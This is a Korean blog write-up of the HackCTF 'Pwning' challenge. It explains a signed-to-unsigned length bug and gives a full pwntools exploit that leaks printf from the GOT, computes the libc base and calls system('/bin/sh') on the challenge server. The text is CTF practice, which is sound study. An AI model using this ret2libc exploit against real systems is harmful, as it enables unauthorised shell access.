Pwning

728x90

get_n 함수 작동 원리

  • 인자를 2개를 받는다. get_n(int paran_1, unsingned int param_2)
  • 문자를 하나 입력받고, char형 변환을 하여 cVar1에 저장.
  • (cVar1 == '\0' || cVar == '\n' || paran_2 ≤= 0)이면 break;

vuln함수 작동 원리

char local_30, int local_10

값을 입력받고, 그 값을 local_30에 저장 → local_30의 값을 문자열로 변환 → local_10에 저장.

local_10 < 0x21이면 get_n 호출(local_30, local_10)

이때 여기서 get_n의 2번째 인자는 unsigned이지만, local_10은 int이다.

이때 음수를 넣어주면 overflow발생.

unsigned int의 비트 수는 4294967296이다.

그래서 -1을 하면

0 밑으로 내려가서 최대 숫자로 올라가 4294967295이 된다. 따라서 local_10은 4294967295가 된다.

leak방법

printf_got함수를 구한다.

https://libc.blukat.me/ 이 사이트에서 바이너리에 쓰인 라이브러리를 찾고, 그 라이브러리에서 쓰이는 함수의 offset을 찾아서 vuln함수 한번더 호출하고, 릭하면 된다.

from pwn import *
context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
libc = e.libc
system_offset = 0x03a940
binsh_offset = 0x15902b

p.recvuntil("read? ")
p.sendline("-1")

p.recvuntil("data!\\n")

pr = 0x080484e1

#----------STEP 1(GET BASE_ADDR)-------
payload = ""
payload += "A"*48 
payload += p32(e.plt['printf'])
payload += p32(e.symbols['vuln'])
payload += p32(e.got['printf'])
p.sendline(payload)
p.recvuntil('\\n')
printf_addr = u32(p.recv(4))
leak_base = printf_addr - 0x049020 # printf함수의 오프셋

system = leak_base + system_offset
binsh = leak_base + binsh_offset
p.recvuntil("read? ")
p.sendline("-1")

p.recvuntil("data!\\n")

payload1 = "A"*48
payload1 += p32(system)
payload1 += "BBBB"
payload1 += p32(binsh)

p.sendline(payload1)
p.interactive()
728x90

'HackCTF' 카테고리의 다른 글

풍수지리설  (0) 2022.01.13
HackCTF - RTC  (0) 2022.01.06
ROP  (0) 2021.12.30
You_are_silver  (0) 2021.12.30
yes_or_no  (0) 2021.12.30